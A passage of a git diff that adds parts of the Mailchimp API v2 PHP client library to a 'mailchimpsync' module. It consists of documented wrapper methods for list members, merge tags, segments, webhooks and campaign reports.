$name + * @param string $value + * @return associative_array with a single entry: + * - complete bool whether the call worked. reallistically this will always be true as errors will be thrown otherwise. + */ + public function interestGroupingUpdate($grouping_id, $name, $value) { + $_params = array("grouping_id" => $grouping_id, "name" => $name, "value" => $value); + return $this->master->call('lists/interest-grouping-update', $_params); + } + + /** + * Retrieve the locations (countries) that the list's subscribers have been tagged to based on geocoding their IP address + * @param string $id + * @return array array of locations + * - country string the country name + * - cc string the ISO 3166 2 digit country code + * - percent double the percent of subscribers in the country + * - total double the total number of subscribers in the country + */ + public function locations($id) { + $_params = array("id" => $id); + return $this->master->call('lists/locations', $_params); + } + + /** + * Get the most recent 100 activities for particular list members (open, click, bounce, unsub, abuse, sent to, etc.) + * @param string $id + * @param array $emails + * - email string an email address - for new subscribers obviously this should be used + * - euid string the unique id for an email address (not list related) - the email "id" returned from listMemberInfo, Webhooks, Campaigns, etc. + * - leid string the list email id (previously called web_id) for a list-member-info type call. this doesn't change when the email address changes + * @return associative_array of data and success/error counts + * - success_count int the number of subscribers successfully found on the list + * - error_count int the number of subscribers who were not found on the list + * - errors array array of error structs including: + * - email string whatever was passed in the email parameter + * - email string the email address added + * - euid string the email unique id + * - leid string the list member's truly unique id + * - error string the error message + * - code string the error code + * - data array an array of structs where each activity record has: + * - email string whatever was passed in the email parameter + * - email string the email address added + * - euid string the email unique id + * - leid string the list member's truly unique id + * - activity array an array of structs containing the activity, including: + * - action string The action name, one of: open, click, bounce, unsub, abuse, sent, queued, ecomm, mandrill_send, mandrill_hard_bounce, mandrill_soft_bounce, mandrill_open, mandrill_click, mandrill_spam, mandrill_unsub, mandrill_reject + * - timestamp string The date+time of the action (GMT) + * - url string For click actions, the url clicked, otherwise this is empty + * - type string If there's extra bounce, unsub, etc data it will show up here. + * - campaign_id string The campaign id the action was related to, if it exists - otherwise empty (ie, direct unsub from list) + * - campaign_data associative_array If not deleted, the campaigns/list data for the campaign + */ + public function memberActivity($id, $emails) { + $_params = array("id" => $id, "emails" => $emails); + return $this->master->call('lists/member-activity', $_params); + } + + /** + * Get all the information for particular members of a list + * @param string $id + * @param array $emails + * - email string an email address - for new subscribers obviously this should be used + * - euid string the unique id for an email address (not list related) - the email "id" returned from listMemberInfo, Webhooks, Campaigns, etc. + * - leid string the list email id (previously called web_id) for a list-member-info type call. this doesn't change when the email address changes + * @return associative_array of data and success/error counts + * - success_count int the number of subscribers successfully found on the list + * - error_count int the number of subscribers who were not found on the list + * - errors array array of error structs including: + * - email associative_array whatever was passed in the email parameter + * - email string the email address added + * - euid string the email unique id + * - leid string the list member's truly unique id + * - error string the error message + * - data array array of structs for each valid list member + * - id string The unique id (euid) for this email address on an account + * - email string The email address associated with this record + * - email_type string The type of emails this customer asked to get: html or text + * - merges associative_array a struct containing a key for each merge tags and the data for those tags for this email address, plus: + * - GROUPINGS array if Interest groupings are enabled, this will exist with structs for each grouping: + * - id int the grouping id + * - name string the interest group name + * - groups array structs for each group in the grouping + * - name string the group name + * - interested bool whether the member has this group selected + * - status string The subscription status for this email address, either pending, subscribed, unsubscribed, or cleaned + * - ip_signup string IP Address this address signed up from. This may be blank if single optin is used. + * - timestamp_signup string The date+time the double optin was initiated. This may be blank if single optin is used. + * - ip_opt string IP Address this address opted in from. + * - timestamp_opt string The date+time the optin completed + * - member_rating int the rating of the subscriber. This will be 1 - 5 as described here + * - campaign_id string If the user is unsubscribed and they unsubscribed from a specific campaign, that campaign_id will be listed, otherwise this is not returned. + * - lists array An array of structs for the other lists this member belongs to + * - id string the list id + * - status string the members status on that list + * - timestamp string The date+time this email address entered it's current status + * - info_changed string The last time this record was changed. If the record is old enough, this may be blank. + * - web_id int The Member id used in our web app, allows you to create a link directly to it + * - leid int The Member id used in our web app, allows you to create a link directly to it + * - list_id string The list id the for the member record being returned + * - list_name string The list name the for the member record being returned + * - language string if set/detected, a language code from here + * - is_gmonkey bool Whether the member is a Golden Monkey or not. + * - geo associative_array the geographic information if we have it. including: + * - latitude string the latitude + * - longitude string the longitude + * - gmtoff string GMT offset + * - dstoff string GMT offset during daylight savings (if DST not observered, will be same as gmtoff) + * - timezone string the timezone we've place them in + * - cc string 2 digit ISO-3166 country code + * - region string generally state, province, or similar + * - clients associative_array the client we've tracked the address as using with two keys: + * - name string the common name of the client + * - icon_url string a url representing a path to an icon representing this client + * - static_segments array structs for each static segments the member is a part of including: + * - id int the segment id + * - name string the name given to the segment + * - added string the date the member was added + * - notes array structs for each note entered for this member. For each note: + * - id int the note id + * - note string the text entered + * - created string the date the note was created + * - updated string the date the note was last updated + * - created_by_name string the name of the user who created the note. This can change as users update their profile. + */ + public function memberInfo($id, $emails) { + $_params = array("id" => $id, "emails" => $emails); + return $this->master->call('lists/member-info', $_params); + } + + /** + * Get all of the list members for a list that are of a particular status and potentially matching a segment. This will cause locking, so don't run multiples at once. Are you trying to get a dump including lots of merge +data or specific members of a list? If so, checkout the List Export API + * @param string $id + * @param string $status + * @param associative_array $opts + * - start int optional for large data sets, the page number to start at - defaults to 1st page of data (page 0) + * - limit int optional for large data sets, the number of results to return - defaults to 25, upper limit set at 100 + * - sort_field string optional the data field to sort by - mergeX (1-30), your custom merge tags, "email", "rating","last_update_time", or "optin_time" - invalid fields will be ignored + * - sort_dir string optional the direct - ASC or DESC. defaults to ASC (case insensitive) + * - segment associative_array a properly formatted segment that works with campaigns/segment-test + * @return associative_array of the total records matched and limited list member data for this page + * - total int the total matching records + * - data array structs for each member as returned by member-info + */ + public function members($id, $status='subscribed', $opts=array()) { + $_params = array("id" => $id, "status" => $status, "opts" => $opts); + return $this->master->call('lists/members', $_params); + } + + /** + * Add a new merge tag to a given list + * @param string $id + * @param string $tag + * @param string $name + * @param associative_array $options + * - field_type string optional one of: text, number, radio, dropdown, date, address, phone, url, imageurl, zip, birthday - defaults to text + * - req boolean optional indicates whether the field is required - defaults to false + * - public boolean optional indicates whether the field is displayed in public - defaults to true + * - show boolean optional indicates whether the field is displayed in the app's list member view - defaults to true + * - order int The order this merge tag should be displayed in - this will cause existing values to be reset so this fits + * - default_value string optional the default value for the field. See lists/subscribe() for formatting info. Defaults to blank - max 255 bytes + * - helptext string optional the help text to be used with some newer forms. Defaults to blank - max 255 bytes + * - choices array optional kind of - an array of strings to use as the choices for radio and dropdown type fields + * - dateformat string optional only valid for birthday and date fields. For birthday type, must be "MM/DD" (default) or "DD/MM". For date type, must be "MM/DD/YYYY" (default) or "DD/MM/YYYY". Any other values will be converted to the default. + * - phoneformat string optional "US" is the default - any other value will cause them to be unformatted (international) + * - defaultcountry string optional the ISO 3166 2 digit character code for the default country. Defaults to "US". Anything unrecognized will be converted to the default. + * @return associative_array the full data for the new merge var, just like merge-vars returns + * - name string Name/description of the merge field + * - req bool Denotes whether the field is required (true) or not (false) + * - field_type string The "data type" of this merge var. One of: email, text, number, radio, dropdown, date, address, phone, url, imageurl + * - public bool Whether or not this field is visible to list subscribers + * - show bool Whether the field is displayed in thelist dashboard + * - order string The order this field displays in on forms + * - default string The default value for this field + * - helptext string The helptext for this field + * - size string The width of the field to be used + * - tag string The merge tag that's used for forms and lists/subscribe() and lists/update-member() + * - choices array the options available for radio and dropdown field types + * - id int an unchanging id for the merge var + */ + public function mergeVarAdd($id, $tag, $name, $options=array()) { + $_params = array("id" => $id, "tag" => $tag, "name" => $name, "options" => $options); + return $this->master->call('lists/merge-var-add', $_params); + } + + /** + * Delete a merge tag from a given list and all its members. Seriously - the data is removed from all members as well! +Note that on large lists this method may seem a bit slower than calls you typically make. + * @param string $id + * @param string $tag + * @return associative_array with a single entry: + * - complete bool whether the call worked. reallistically this will always be true as errors will be thrown otherwise. + */ + public function mergeVarDel($id, $tag) { + $_params = array("id" => $id, "tag" => $tag); + return $this->master->call('lists/merge-var-del', $_params); + } + + /** + * Completely resets all data stored in a merge var on a list. All data is removed and this action can not be undone. + * @param string $id + * @param string $tag + * @return associative_array with a single entry: + * - complete bool whether the call worked. reallistically this will always be true as errors will be thrown otherwise. + */ + public function mergeVarReset($id, $tag) { + $_params = array("id" => $id, "tag" => $tag); + return $this->master->call('lists/merge-var-reset', $_params); + } + + /** + * Sets a particular merge var to the specified value for every list member. Only merge var ids 1 - 30 may be modified this way. This is generally a dirty method +unless you're fixing data since you should probably be using default_values and/or conditional content. as with lists/merge-var-reset(), this can not be undone. + * @param string $id + * @param string $tag + * @param string $value + * @return associative_array with a single entry: + * - complete bool whether the call worked. reallistically this will always be true as errors will be thrown otherwise. + */ + public function mergeVarSet($id, $tag, $value) { + $_params = array("id" => $id, "tag" => $tag, "value" => $value); + return $this->master->call('lists/merge-var-set', $_params); + } + + /** + * Update most parameters for a merge tag on a given list. You cannot currently change the merge type + * @param string $id + * @param string $tag + * @param associative_array $options + * @return associative_array the full data for the new merge var, just like merge-vars returns + * - name string Name/description of the merge field + * - req bool Denotes whether the field is required (true) or not (false) + * - field_type string The "data type" of this merge var. One of: email, text, number, radio, dropdown, date, address, phone, url, imageurl + * - public bool Whether or not this field is visible to list subscribers + * - show bool Whether the field is displayed in thelist dashboard + * - order string The order this field to displays in on forms + * - default string The default value for this field + * - helptext string The helptext for this field + * - size string The width of the field to be used + * - tag string The merge tag that's used for forms and lists/subscribe() and lists/update-member() + * - choices array the options available for radio and dropdown field types + * - id int an unchanging id for the merge var + */ + public function mergeVarUpdate($id, $tag, $options) { + $_params = array("id" => $id, "tag" => $tag, "options" => $options); + return $this->master->call('lists/merge-var-update', $_params); + } + + /** + * Get the list of merge tags for a given list, including their name, tag, and required setting + * @param array $id + * @return associative_array of data and success/error counts + * - success_count int the number of subscribers successfully found on the list + * - error_count int the number of subscribers who were not found on the list + * - data array of structs for the merge tags on each list + * - id string the list id + * - name string the list name + * - merge_vars array of structs for each merge var + * - name string Name of the merge field + * - req bool Denotes whether the field is required (true) or not (false) + * - field_type string The "data type" of this merge var. One of the options accepted by field_type in lists/merge-var-add + * - public bool Whether or not this field is visible to list subscribers + * - show bool Whether the list owner has this field displayed on their list dashboard + * - order string The order the list owner has set this field to display in + * - default string The default value the list owner has set for this field + * - helptext string The helptext for this field + * - size string The width of the field to be used + * - tag string The merge tag that's used for forms and lists/subscribe() and listUpdateMember() + * - choices array For radio and dropdown field types, an array of the options available + * - id int an unchanging id for the merge var + * - errors array of error structs + * - id string the passed list id that failed + * - code int the resulting error code + * - msg string the resulting error message + */ + public function mergeVars($id) { + $_params = array("id" => $id); + return $this->master->call('lists/merge-vars', $_params); + } + + /** + * Retrieve all of Segments for a list. + * @param string $id + * @param string $type + * @return associative_array with 2 keys: + * - static array of structs with data for each segment + * - id int the id of the segment + * - name string the name for the segment + * - created_date string the date+time the segment was created + * - last_update string the date+time the segment was last updated (add or del) + * - last_reset string the date+time the segment was last reset (ie had all members cleared from it) + * - saved array of structs with data for each segment + * - id int the id of the segment + * - name string the name for the segment + * - segment_opts string same match+conditions struct typically used + * - segment_text string a textual description of the segment match/conditions + * - created_date string the date+time the segment was created + * - last_update string the date+time the segment was last updated (add or del) + */ + public function segments($id, $type=null) { + $_params = array("id" => $id, "type" => $type); + return $this->master->call('lists/segments', $_params); + } + + /** + * Save a segment against a list for later use. There is no limit to the number of segments which can be saved. Static Segments are not tied +to any merge data, interest groups, etc. They essentially allow you to configure an unlimited number of custom segments which will have standard performance. +When using proper segments, Static Segments are one of the available options for segmentation just as if you used a merge var (and they can be used with other segmentation +options), though performance may degrade at that point. Saved Segments (called "auto-updating" in the app) are essentially just the match+conditions typically +used. + * @param string $id + * @param associative_array $opts + * - type string either "static" or "saved" + * - name string a unique name per list for the segment - 100 byte maximum length, anything longer will throw an error + * - segment_opts associative_array for "saved" only, the standard segment match+conditions, just like campaigns/segment-test + * - match string "any" or "all" + * - conditions array structs for each condition, just like campaigns/segment-test + * @return associative_array with a single entry: + * - id int the id of the new segment, otherwise an error will be thrown. + */ + public function segmentAdd($id, $opts) { + $_params = array("id" => $id, "opts" => $opts); + return $this->master->call('lists/segment-add', $_params); + } + + /** + * Delete a segment. Note that this will, of course, remove any member affiliations with any static segments deleted + * @param string $id + * @param int $seg_id + * @return associative_array with a single entry: + * - complete bool whether the call worked. reallistically this will always be true as errors will be thrown otherwise. + */ + public function segmentDel($id, $seg_id) { + $_params = array("id" => $id, "seg_id" => $seg_id); + return $this->master->call('lists/segment-del', $_params); + } + + /** + * Allows one to test their segmentation rules before creating a campaign using them - this is no different from campaigns/segment-test() and will eventually replace it. +For the time being, the crazy segmenting condition documentation will continue to live over there. + * @param string $list_id + * @param associative_array $options + * @return associative_array with a single entry: + * - total int The total number of subscribers matching your segmentation options + */ + public function segmentTest($list_id, $options) { + $_params = array("list_id" => $list_id, "options" => $options); + return $this->master->call('lists/segment-test', $_params); + } + + /** + * Update an existing segment. The list and type can not be changed. + * @param string $id + * @param int $seg_id + * @param associative_array $opts + * - name string a unique name per list for the segment - 100 byte maximum length, anything longer will throw an error + * - segment_opts associative_array for "saved" only, the standard segment match+conditions, just like campaigns/segment-test + * - match string "any" or "all" + * - conditions array structs for each condition, just like campaigns/segment-test + * @return associative_array with a single entry: + * - complete bool whether the call worked. reallistically this will always be true as errors will be thrown otherwise. + */ + public function segmentUpdate($id, $seg_id, $opts) { + $_params = array("id" => $id, "seg_id" => $seg_id, "opts" => $opts); + return $this->master->call('lists/segment-update', $_params); + } + + /** + * Save a segment against a list for later use. There is no limit to the number of segments which can be saved. Static Segments are not tied +to any merge data, interest groups, etc. They essentially allow you to configure an unlimited number of custom segments which will have standard performance. +When using proper segments, Static Segments are one of the available options for segmentation just as if you used a merge var (and they can be used with other segmentation +options), though performance may degrade at that point. + * @param string $id + * @param string $name + * @return associative_array with a single entry: + * - id int the id of the new segment, otherwise an error will be thrown. + */ + public function staticSegmentAdd($id, $name) { + $_params = array("id" => $id, "name" => $name); + return $this->master->call('lists/static-segment-add', $_params); + } + + /** + * Delete a static segment. Note that this will, of course, remove any member affiliations with the segment + * @param string $id + * @param int $seg_id + * @return associative_array with a single entry: + * - complete bool whether the call worked. reallistically this will always be true as errors will be thrown otherwise. + */ + public function staticSegmentDel($id, $seg_id) { + $_params = array("id" => $id, "seg_id" => $seg_id); + return $this->master->call('lists/static-segment-del', $_params); + } + + /** + * Add list members to a static segment. It is suggested that you limit batch size to no more than 10,000 addresses per call. Email addresses must exist on the list +in order to be included - this will not subscribe them to the list! + * @param string $id + * @param int $seg_id + * @param array $batch + * - email string an email address + * - euid string the unique id for an email address (not list related) - the email "id" returned from lists/member-info(), Webhooks, Campaigns, etc. + * - leid string the list email id (previously called web_id) for a list-member-info type call. this doesn't change when the email address changes + * @return associative_array an array with the results of the operation + * - success_count int the total number of successful updates (will include members already in the segment) + * - error_count int the total number of errors + * - errors array structs for each error including: + * - email string whatever was passed in the email parameter + * - email string the email address added + * - euid string the email unique id + * - leid string the list member's truly unique id + * - code string the error code + * - error string the full error message + */ + public function staticSegmentMembersAdd($id, $seg_id, $batch) { + $_params = array("id" => $id, "seg_id" => $seg_id, "batch" => $batch); + return $this->master->call('lists/static-segment-members-add', $_params); + } + + /** + * Remove list members from a static segment. It is suggested that you limit batch size to no more than 10,000 addresses per call. Email addresses must exist on the list +in order to be removed - this will not unsubscribe them from the list! + * @param string $id + * @param int $seg_id + * @param array $batch + * - email string an email address + * - euid string the unique id for an email address (not list related) - the email "id" returned from listMemberInfo, Webhooks, Campaigns, etc. + * - leid string the list email id (previously called web_id) for a list-member-info type call. this doesn't change when the email address changes + * @return associative_array an array with the results of the operation + * - success_count int the total number of successful removals + * - error_count int the total number of unsuccessful removals + * - errors array structs for each error including: + * - email string whatever was passed in the email parameter + * - email string the email address added + * - euid string the email unique id + * - leid string the list member's truly unique id + * - code string the error code + * - error string the full error message + */ + public function staticSegmentMembersDel($id, $seg_id, $batch) { + $_params = array("id" => $id, "seg_id" => $seg_id, "batch" => $batch); + return $this->master->call('lists/static-segment-members-del', $_params); + } + + /** + * Resets a static segment - removes all members from the static segment. Note: does not actually affect list member data + * @param string $id + * @param int $seg_id + * @return associative_array with a single entry: + * - complete bool whether the call worked. reallistically this will always be true as errors will be thrown otherwise. + */ + public function staticSegmentReset($id, $seg_id) { + $_params = array("id" => $id, "seg_id" => $seg_id); + return $this->master->call('lists/static-segment-reset', $_params); + } + + /** + * Retrieve all of the Static Segments for a list. + * @param string $id + * @param boolean $get_counts + * @param int $start + * @param int $limit + * @return array an of structs with data for each static segment + * - id int the id of the segment + * - name string the name for the segment + * - member_count int the total number of subscribed members currently in a segment + * - created_date string the date+time the segment was created + * - last_update string the date+time the segment was last updated (add or del) + * - last_reset string the date+time the segment was last reset (ie had all members cleared from it) + */ + public function staticSegments($id, $get_counts=true, $start=0, $limit=null) { + $_params = array("id" => $id, "get_counts" => $get_counts, "start" => $start, "limit" => $limit); + return $this->master->call('lists/static-segments', $_params); + } + + /** + * Subscribe the provided email to a list. By default this sends a confirmation email - you will not see new members until the link contained in it is clicked! + * @param string $id + * @param associative_array $email + * - email string an email address - for new subscribers obviously this should be used + * - euid string the unique id for an email address (not list related) - the email "id" returned from listMemberInfo, Webhooks, Campaigns, etc. + * - leid string the list email id (previously called web_id) for a list-member-info type call. this doesn't change when the email address changes + * @param associative_array $merge_vars + * - new-email string set this to change the email address. This is only respected on calls using update_existing or when passed to lists/update. + * - groupings array of Interest Grouping structs. Each should contain: + * - id int Grouping "id" from lists/interest-groupings (either this or name must be present) - this id takes precedence and can't change (unlike the name) + * - name string Grouping "name" from lists/interest-groupings (either this or id must be present) + * - groups array an array of valid group names for this grouping. + * - optin_ip string Set the Opt-in IP field. Abusing this may cause your account to be suspended. We do validate this and it must not be a private IP address. + * - optin_time string Set the Opt-in Time field. Abusing this may cause your account to be suspended. We do validate this and it must be a valid date. Use - 24 hour format in GMT, eg "2013-12-30 20:30:00" to be safe. Generally, though, anything strtotime() understands we'll understand - http://us2.php.net/strtotime + * - mc_location associative_array Set the member's geographic location either by optin_ip or geo data. + * - latitude string use the specified latitude (longitude must exist for this to work) + * - longitude string use the specified longitude (latitude must exist for this to work) + * - anything string if this (or any other key exists here) we'll try to use the optin ip. NOTE - this will slow down each subscribe call a bit, especially for lat/lng pairs in sparsely populated areas. Currently our automated background processes can and will overwrite this based on opens and clicks. + * - mc_language string Set the member's language preference. Supported codes are fully case-sensitive and can be found here. + * - mc_notes array of structs for managing notes - it may contain: + * - note string the note to set. this is required unless you're deleting a note + * - id int the note id to operate on. not including this (or using an invalid id) causes a new note to be added + * - action string if the "id" key exists and is valid, an "update" key may be set to "append" (default), "prepend", "replace", or "delete" to handle how we should update existing notes. "delete", obviously, will only work with a valid "id" - passing that along with "note" and an invalid "id" is wrong and will be ignored. + * @param string $email_type + * @param bool $double_optin + * @param bool $update_existing + * @param bool $replace_interests + * @param bool $send_welcome + * @return associative_array the ids for this subscriber + * - email string the email address added + * - euid string the email unique id + * - leid string the list member's truly unique id + */ + public function subscribe($id, $email, $merge_vars=null, $email_type='html', $double_optin=true, $update_existing=false, $replace_interests=true, $send_welcome=false) { + $_params = array("id" => $id, "email" => $email, "merge_vars" => $merge_vars, "email_type" => $email_type, "double_optin" => $double_optin, "update_existing" => $update_existing, "replace_interests" => $replace_interests, "send_welcome" => $send_welcome); + return $this->master->call('lists/subscribe', $_params); + } + + /** + * Unsubscribe the given email address from the list + * @param string $id + * @param associative_array $email + * - email string an email address + * - euid string the unique id for an email address (not list related) - the email "id" returned from listMemberInfo, Webhooks, Campaigns, etc. + * - leid string the list email id (previously called web_id) for a list-member-info type call. this doesn't change when the email address changes + * @param boolean $delete_member + * @param boolean $send_goodbye + * @param boolean $send_notify + * @return associative_array with a single entry: + * - complete bool whether the call worked. reallistically this will always be true as errors will be thrown otherwise. + */ + public function unsubscribe($id, $email, $delete_member=false, $send_goodbye=true, $send_notify=true) { + $_params = array("id" => $id, "email" => $email, "delete_member" => $delete_member, "send_goodbye" => $send_goodbye, "send_notify" => $send_notify); + return $this->master->call('lists/unsubscribe', $_params); + } + + /** + * Edit the email address, merge fields, and interest groups for a list member. If you are doing a batch update on lots of users, +consider using lists/batch-subscribe() with the update_existing and possible replace_interests parameter. + * @param string $id + * @param associative_array $email + * - email string an email address + * - euid string the unique id for an email address (not list related) - the email "id" returned from listMemberInfo, Webhooks, Campaigns, etc. + * - leid string the list email id (previously called web_id) for a list-member-info type call. this doesn't change when the email address changes + * @param associative_array $merge_vars + * @param string $email_type + * @param boolean $replace_interests + * @return associative_array the ids for this subscriber + * - email string the email address added + * - euid string the email unique id + * - leid string the list member's truly unique id + */ + public function updateMember($id, $email, $merge_vars, $email_type='', $replace_interests=true) { + $_params = array("id" => $id, "email" => $email, "merge_vars" => $merge_vars, "email_type" => $email_type, "replace_interests" => $replace_interests); + return $this->master->call('lists/update-member', $_params); + } + + /** + * Add a new Webhook URL for the given list + * @param string $id + * @param string $url + * @param associative_array $actions + * - subscribe bool optional as subscribes occur, defaults to true + * - unsubscribe bool optional as subscribes occur, defaults to true + * - profile bool optional as profile updates occur, defaults to true + * - cleaned bool optional as emails are cleaned from the list, defaults to true + * - upemail bool optional when subscribers change their email address, defaults to true + * - campaign bool option when a campaign is sent or canceled, defaults to true + * @param associative_array $sources + * - user bool optional user/subscriber initiated actions, defaults to true + * - admin bool optional admin actions in our web app, defaults to true + * - api bool optional actions that happen via API calls, defaults to false + * @return associative_array with a single entry: + * - id int the id of the new webhook, otherwise an error will be thrown. + */ + public function webhookAdd($id, $url, $actions=array(), $sources=array()) { + $_params = array("id" => $id, "url" => $url, "actions" => $actions, "sources" => $sources); + return $this->master->call('lists/webhook-add', $_params); + } + + /** + * Delete an existing Webhook URL from a given list + * @param string $id + * @param string $url + * @return associative_array with a single entry: + * - complete bool whether the call worked. reallistically this will always be true as errors will be thrown otherwise. + */ + public function webhookDel($id, $url) { + $_params = array("id" => $id, "url" => $url); + return $this->master->call('lists/webhook-del', $_params); + } + + /** + * Return the Webhooks configured for the given list + * @param string $id + * @return array of structs for each webhook + * - url string the URL for this Webhook + * - actions associative_array the possible actions and whether they are enabled + * - subscribe bool triggered when subscribes happen + * - unsubscribe bool triggered when unsubscribes happen + * - profile bool triggered when profile updates happen + * - cleaned bool triggered when a subscriber is cleaned (bounced) from a list + * - upemail bool triggered when a subscriber's email address is changed + * - campaign bool triggered when a campaign is sent or canceled + * - sources associative_array the possible sources and whether they are enabled + * - user bool whether user/subscriber triggered actions are returned + * - admin bool whether admin (manual, in-app) triggered actions are returned + * - api bool whether api triggered actions are returned + */ + public function webhooks($id) { + $_params = array("id" => $id); + return $this->master->call('lists/webhooks', $_params); + } + + /** + * Retrieve all of the lists defined for your user account + * @param associative_array $filters + * - list_id string optional - return a single list using a known list_id. Accepts multiples separated by commas when not using exact matching + * - list_name string optional - only lists that match this name + * - from_name string optional - only lists that have a default from name matching this + * - from_email string optional - only lists that have a default from email matching this + * - from_subject string optional - only lists that have a default from email matching this + * - created_before string optional - only show lists that were created before this date+time - 24 hour format in GMT, eg "2013-12-30 20:30:00" + * - created_after string optional - only show lists that were created since this date+time - 24 hour format in GMT, eg "2013-12-30 20:30:00" + * - exact boolean optional - flag for whether to filter on exact values when filtering, or search within content for filter values - defaults to false + * @param int $start + * @param int $limit + * @param string $sort_field + * @param string $sort_dir + * @return associative_array result of the operation including valid data and any errors + * - total int the total number of lists which matched the provided filters + * - data array structs for the lists which matched the provided filters, including the following + * - id string The list id for this list. This will be used for all other list management functions. + * - web_id int The list id used in our web app, allows you to create a link directly to it + * - name string The name of the list. + * - date_created string The date that this list was created. + * - email_type_option boolean Whether or not the List supports multiple formats for emails or just HTML + * - use_awesomebar boolean Whether or not campaigns for this list use the Awesome Bar in archives by default + * - default_from_name string Default From Name for campaigns using this list + * - default_from_email string Default From Email for campaigns using this list + * - default_subject string Default Subject Line for campaigns using this list + * - default_language string Default Language for this list's forms + * - list_rating double An auto-generated activity score for the list (0 - 5) + * - subscribe_url_short string Our eepurl shortened version of this list's subscribe form (will not change) + * - subscribe_url_long string The full version of this list's subscribe form (host will vary) + * - beamer_address string The email address to use for this list's Email Beamer + * - visibility string Whether this list is Public (pub) or Private (prv). Used internally for projects like Wavelength + * - stats associative_array various stats and counts for the list - many of these are cached for at least 5 minutes + * - member_count double The number of active members in the given list. + * - unsubscribe_count double The number of members who have unsubscribed from the given list. + * - cleaned_count double The number of members cleaned from the given list. + * - member_count_since_send double The number of active members in the given list since the last campaign was sent + * - unsubscribe_count_since_send double The number of members who have unsubscribed from the given list since the last campaign was sent + * - cleaned_count_since_send double The number of members cleaned from the given list since the last campaign was sent + * - campaign_count double The number of campaigns in any status that use this list + * - grouping_count double The number of Interest Groupings for this list + * - group_count double The number of Interest Groups (regardless of grouping) for this list + * - merge_var_count double The number of merge vars for this list (not including the required EMAIL one) + * - avg_sub_rate double the average number of subscribe per month for the list (empty value if we haven't calculated this yet) + * - avg_unsub_rate double the average number of unsubscribe per month for the list (empty value if we haven't calculated this yet) + * - target_sub_rate double the target subscription rate for the list to keep it growing (empty value if we haven't calculated this yet) + * - open_rate double the average open rate per campaign for the list (empty value if we haven't calculated this yet) + * - click_rate double the average click rate per campaign for the list (empty value if we haven't calculated this yet) + * - modules array Any list specific modules installed for this list (example is SocialPro) + * - errors array structs of any errors found while loading lists - usually just from providing invalid list ids + * - param string the data that caused the failure + * - code int the error code + * - error string the error message + */ + public function getList($filters=array(), $start=0, $limit=25, $sort_field='created', $sort_dir='DESC') { + $_params = array("filters" => $filters, "start" => $start, "limit" => $limit, "sort_field" => $sort_field, "sort_dir" => $sort_dir); + return $this->master->call('lists/list', $_params); + } + +} + + diff --git a/modules/mailchimpsync/libraries/Mailchimp/Mobile.php b/modules/mailchimpsync/libraries/Mailchimp/Mobile.php new file mode 100755 index 0000000..1626fe8 --- /dev/null +++ b/modules/mailchimpsync/libraries/Mailchimp/Mobile.php @@ -0,0 +1,10 @@ +master = $master; + } + +} + + diff --git a/modules/mailchimpsync/libraries/Mailchimp/Neapolitan.php b/modules/mailchimpsync/libraries/Mailchimp/Neapolitan.php new file mode 100755 index 0000000..fd33de5 --- /dev/null +++ b/modules/mailchimpsync/libraries/Mailchimp/Neapolitan.php @@ -0,0 +1,10 @@ +master = $master; + } + +} + + diff --git a/modules/mailchimpsync/libraries/Mailchimp/Reports.php b/modules/mailchimpsync/libraries/Mailchimp/Reports.php new file mode 100755 index 0000000..e7b9b6c --- /dev/null +++ b/modules/mailchimpsync/libraries/Mailchimp/Reports.php @@ -0,0 +1,459 @@ +master = $master; + } + + /** + * Get all email addresses that complained about a given campaign + * @param string $cid + * @param associative_array $opts + * - start int optional for large data sets, the page number to start at - defaults to 1st page of data (page 0) + * - limit int optional for large data sets, the number of results to return - defaults to 25, upper limit set at 100 + * - since string optional pull only messages since this time - 24 hour format in GMT, eg "2013-12-30 20:30:00" + * @return associative_array abuse report data for this campaign + * - total int the total reports matched + * - data array a struct for the each report, including: + * - date string date/time the abuse report was received and processed + * - member string the email address that reported abuse - will only contain email if the list or member has been removed + * - type string an internal type generally specifying the originating mail provider - may not be useful outside of filling report views + */ + public function abuse($cid, $opts=array()) { + $_params = array("cid" => $cid, "opts" => $opts); + return $this->master->call('reports/abuse', $_params); + } + + /** + * Retrieve the text presented in our app for how a campaign performed and any advice we may have for you - best +suited for display in customized reports pages. Note: some messages will contain HTML - clean tags as necessary + * @param string $cid + * @return array of structs for advice on the campaign's performance, each containing: + * - msg string the advice message + * - type string the "type" of the message. one of: negative, positive, or neutral + */ + public function advice($cid) { + $_params = array("cid" => $cid); + return $this->master->call('reports/advice', $_params); + } + + /** + * Retrieve the most recent full bounce message for a specific email address on the given campaign. +Messages over 30 days old are subject to being removed + * @param string $cid + * @param associative_array $email + * - email string an email address - this is recommended for this method + * - euid string the unique id for an email address (not list related) - the email "id" returned from listMemberInfo, Webhooks, Campaigns, etc. + * - leid string the list email id (previously called web_id) for a list-member-info type call. this doesn't change when the email address changes + * @return associative_array the full bounce message for this email+campaign along with some extra data. + * - date string date the bounce was received and processed + * - member associative_array the member record as returned by lists/member-info() + * - message string the entire bounce message received + */ + public function bounceMessage($cid, $email) { + $_params = array("cid" => $cid, "email" => $email); + return $this->master->call('reports/bounce-message', $_params); + } + + /** + * Retrieve the full bounce messages for the given campaign. Note that this can return very large amounts +of data depending on how large the campaign was and how much cruft the bounce provider returned. Also, +messages over 30 days old are subject to being removed + * @param string $cid + * @param associative_array $opts + * - start int optional for large data sets, the page number to start at - defaults to 1st page of data (page 0) + * - limit int optional for large data sets, the number of results to return - defaults to 25, upper limit set at 100 + * - since string optional pull only messages since this time - 24 hour format in GMT, eg "2013-12-30 20:30:00" + * @return associative_array data for the full bounce messages for this campaign + * - total int that total number of bounce messages for the campaign + * - data array structs containing the data for this page + * - date string date the bounce was received and processed + * - member associative_array the member record as returned by lists/member-info() + * - message string the entire bounce message received + */ + public function bounceMessages($cid, $opts=array()) { + $_params = array("cid" => $cid, "opts" => $opts); + return $this->master->call('reports/bounce-messages', $_params); + } + + /** + * Return the list of email addresses that clicked on a given url, and how many times they clicked + * @param string $cid + * @param int $tid + * @param associative_array $opts + * - start int optional for large data sets, the page number to start at - defaults to 1st page of data (page 0) + * - limit int optional for large data sets, the number of results to return - defaults to 25, upper limit set at 100 + * - sort_field string optional the data to sort by - "clicked" (order clicks occurred, default) or "clicks" (total number of opens). Invalid fields will fall back on the default. + * - sort_dir string optional the direct - ASC or DESC. defaults to ASC (case insensitive) + * @return associative_array containing the total records matched and the specific records for this page + * - total int the total number of records matched + * - data array structs for each email addresses that click the requested url + * - member associative_array the member record as returned by lists/member-info() + * - clicks int Total number of times the URL was clicked by this email address + */ + public function clickDetail($cid, $tid, $opts=array()) { + $_params = array("cid" => $cid, "tid" => $tid, "opts" => $opts); + return $this->master->call('reports/click-detail', 